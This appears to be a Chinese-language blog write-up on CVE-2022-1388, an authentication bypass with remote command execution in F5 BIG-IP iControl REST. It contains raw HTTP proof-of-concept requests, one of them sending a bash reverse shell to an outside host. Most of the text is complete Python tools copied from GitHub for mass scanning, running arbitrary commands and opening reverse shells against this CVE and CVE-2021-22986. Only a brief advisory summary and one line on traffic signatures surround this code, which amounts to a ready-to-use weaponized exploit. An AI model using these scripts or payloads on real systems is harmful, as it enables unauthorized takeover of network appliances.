漏洞概述
2022年5月6日，F5官方发布了BIG-IP iControl REST的风险通告，漏洞编号为CVE-2022-1388,漏洞等级为严重。F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。iControl REST是iControl框架的演变，使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。
组件：F5 BIG-IP iControl REST
漏洞类型：身份验证绕过
影响：命令执行
简述：该漏洞允许未经身份验证的攻击者通过管理口或自 身ip地址对BIG-IP系统进行系统访问，以执行任 意系统命令，创建或删除文件以及禁用BIG-IP上的服务。
漏洞验证
版本：BIGIP-13.1.3.3-0.0.6
需要到F5官方去进行账号注册后，要半天时间才能收到激活邮件，才能下载F5的镜像，然后需要用邮件中发送的激活码将F5激活。F5安装激活教程，我这里选择的是低版本，系统用户账号密码：root/default，web密码：admin/admin。高版本激活比较复杂，还需要更改系统密码，web密码也有更改，在网上没找到。
F5官网：F5官网
F5下载地址：下载
访问F地址ip+/mgmt/shared/authn/login，如果返回中存在 resterrorresponse，则说明存在漏洞。
poc ：
重点字段是：X-F5-Auth-Token，Authorization，Connection，通过这几个完成攻击。
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.104
X-F5-Auth-Token:'a'
Authorization:Basic YWRtaW46QVNhc1M=
Connection:Keep-alive,X-F5-Auth-Token
Content-Length: 82
{"command":"run","utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.0.101/7777 0>&1'"}
然后我对比了一下F5的CVE-2021-22986的poc两者之间差不多，只是绕过方式不一样，命令执行的接口都是一样的。
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.1.123:8443
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c id"}
重要字段：Authorization:，X-F5-Auth-Token，
CVE-2022-1388的脚本用于检测和攻击,来自github。
check.py
#!/usr/bin/python3.9
# -*- coding: utf-8 -*-
#
# Copyright (C) 2021 Caps, Inc. All Rights Reserved
#
# @Time : 2022/5/7 23:40
# @Author : Caps
# @Email : admin@safeinfo.me
# @File : check.py
# @Software: PyCharm
import requests
import argparse
requests.packages.urllib3.disable_warnings()
def usage():
print('''
+-----------------------------------------------------------------+
漏洞名称: F5 BIG-IP iControl Rest API exposed Check
功能：单个检测，批量检测
单个检测：python exp.py -u url
批量检测：python exp.py -f url.txt
+-----------------------------------------------------------------+
''')
def check(url):
try:
target_url = url + "/mgmt/shared/authn/login"
res = requests.get(target_url, verify=False, timeout=3)
if "resterrorresponse" in res.text:
print(f"\033[0;31;22m[+] Host: {url} F5 iControl Rest API exposed \033[0m")
else:
print(f"\033[0;32;22m[-] Host: {url} F5 not vulnerability \033[0m")
except Exception as e:
print(f"\033[0;33;22m[x] Host: {url} Connection Fail \033[0m")
def run(filepath):
urls = [x.strip() for x in open(filepath, "r").readlines()]
for u in urls:
check(u)
return check
def main():
parse = argparse.ArgumentParser()
parse.add_argument("-u", "--url", help="Please Poc.py -u host")
parse.add_argument("-f", "--file", help="Please poc.py -f file")
args = parse.parse_args()
url = args.url
filepath = args.file
if url is not None and filepath is None:
check(url)
elif url is None and filepath is not None:
run(filepath)
else:
usage()
if __name__ == '__main__':
main()
exp.py
#!/usr/bin/python3.9
# -*- coding: utf-8 -*-
#
# Copyright (C) 2021 Caps, Inc. All Rights Reserved
#
# @Time : 2022/5/9 16:52
# @Author : Caps
# @Email : admin@safeinfo.me
# @File : CVE-2022-1388.py
# @Software: PyCharm
import requests
import sys
import argparse
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
t = int(time.time())
def title():
print('''
_____ _ _ _____ _____ _____ _____ _____ __ _____ _____ _____
/ __ \| | | || ___| / __ \| _ |/ __ \/ __ \ / | |____ || _ || _ |
| / \/| | | || |__ ______`' / /'| |/' |`' / /'`' / /'______`| | / / \ V / \ V /
| | | | | || __||______| / / | /| | / / / / |______|| | \ \ / _ \ / _ \
| \__/\\ \_/ /| |___ ./ /___\ |_/ /./ /___./ /___ _| |_.___/ /| |_| || |_| |
\____/ \___/ \____/ \_____/ \___/ \_____/\_____/ \___/\____/ \_____/\_____/
Author:Caps@BUGFOR
Github:https://github.com/bytecaps
''')
print('''
验证模式：python CVE_2022_1388.py -v true -u target_url
攻击模式：python CVE_2022_1388.py -a true -u target_url -c command
批量检测：python CVE_2022_1388.py -s true -f file
反弹模式：python CVE_2022_1388.py -r true -u target_url -c command
''')
def headers():
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'Connection': 'keep-alive, x-F5-Auth-Token',
'X-F5-Auth-Token': 'a',
'Authorization': 'Basic YWRtaW46'
}
return headers
def check(target_url):
check_url = target_url + '/mgmt/tm/util/bash'
data = {'command': "run", 'utilCmdArgs': "-c id"}
try:
response = requests.post(url=check_url, json=data, headers=headers(), verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def attack(target_url, cmd):
attack_url = target_url + '/mgmt/tm/util/bash'
data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}
try:
response = requests.post(url=attack_url, json=data, headers=headers(), verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
default = json.loads(response.text)
display = default['commandResult']
print("[+] 目标 {} 存在漏洞".format(target_url))
print('[+] 响应为:{0}'.format(display))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def reverse_shell(target_url, command):
reverse_url = target_url + '/mgmt/tm/util/bash'
data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(command)}
# command: bash -i >&/dev/tcp/192.168.174.129/8888 0>&1
try:
requests.post(url=reverse_url, json=data, headers=headers(), verify=False, timeout=5)
except Exception as e:
print("[+] 请自行查看是否反弹shell回来")
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))
def main():
parser = argparse.ArgumentParser("F5 Big-IP RCE")
parser.add_argument('-v', '--verify', type=bool, help=' 验证模式 ')
parser.add_argument('-u', '--url', type=str, help=' 目标URL ')
parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ')
parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')
parser.add_argument('-r', '--shell', type=bool, help=' 反弹shell模式 ')
args = parser.parse_args()
verify_model = args.verify
url = args.url
attack_model = args.attack
command = args.command
scan_model = args.scan
file = args.file
shell_model = args.shell
if verify_model is True and url is not None:
check(url)
elif attack_model is True and url is not None and command is not None:
attack(url, command)
elif scan_model is True and file is not None:
scan(file)
elif shell_model is True and url is not None and command is not None:
reverse_shell(url, command)
else:
sys.exit(0)
if __name__ == '__main__':
title()
main()
CVE-2021-22986的exp：
import requests
import json
import sys
import argparse
import re
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
t = int(time.time())
def title():
print('''
______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __
/ |\ \ / / | ____| |__ \ / _ \ |__ \ /_ | |__ \ |__ \ / _ \ / _ \ / /
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_
| | \ / | __| |______/ / | | | | / / | | |______/ / / / \__, | > _ < | '_ \
| `----. \ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) |
\______| \__/ |_______| |____| \___/ |____| |_| |____| |____| /_/ \___/ \___/
Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
''')
print('''
验证模式：python CVE_2021_22986.py -v true -u target_url
攻击模式：python CVE_2021_22986.py -a true -u target_url -c command
批量检测：python CVE_2021_22986.py -s true -f file
反弹模式：python CVE_2021_22986.py -r true -u target_url -c command
''')
def check(target_url):
check_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c id"}
try:
response = requests.post(url=check_url, json=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def attack(target_url,cmd):
attack_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(cmd)}
try:
response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
default = json.loads(response.text)
display = default['commandResult']
print("[+] 目标 {} 存在漏洞".format(target_url))
print('[+] 响应为:{0}'.format(display))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def reverse_shell(target_url,command):
reverse_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(command)}
# command: bash -i >&/dev/tcp/192.168.174.129/8888 0>&1
try:
requests.post(url=reverse_url, json=data, headers=headers, verify=False, timeout=5)
except Exception as e:
print("[+] 请自行查看是否反弹shell回来")
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))
def main():
parser = argparse.ArgumentParser("F5 Big-IP RCE")
parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')
parser.add_argument('-u', '--url', type=str, help=' 目标URL ')
parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ')
parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')
parser.add_argument('-r', '--shell', type=bool, help=' 反弹shell模式 ')
args = parser.parse_args()
verify_model = args.verify
url = args.url
attack_model = args.attack
command = args.command
scan_model = args.scan
file = args.file
shell_model = args.shell
if verify_model is True and url !=None:
check(url)
elif attack_model is True and url != None and command != None:
attack(url,command)
elif scan_model is True and file != None:
scan(file)
elif shell_model is True and url != None and command != None:
reverse_shell(url,command)
else:
sys.exit(0)
if __name__ == '__main__':
title()
main()
流量特征：
因为是https加密的，除了反弹shell的流量可以观察到，其他都是加密的，不能进行查看。
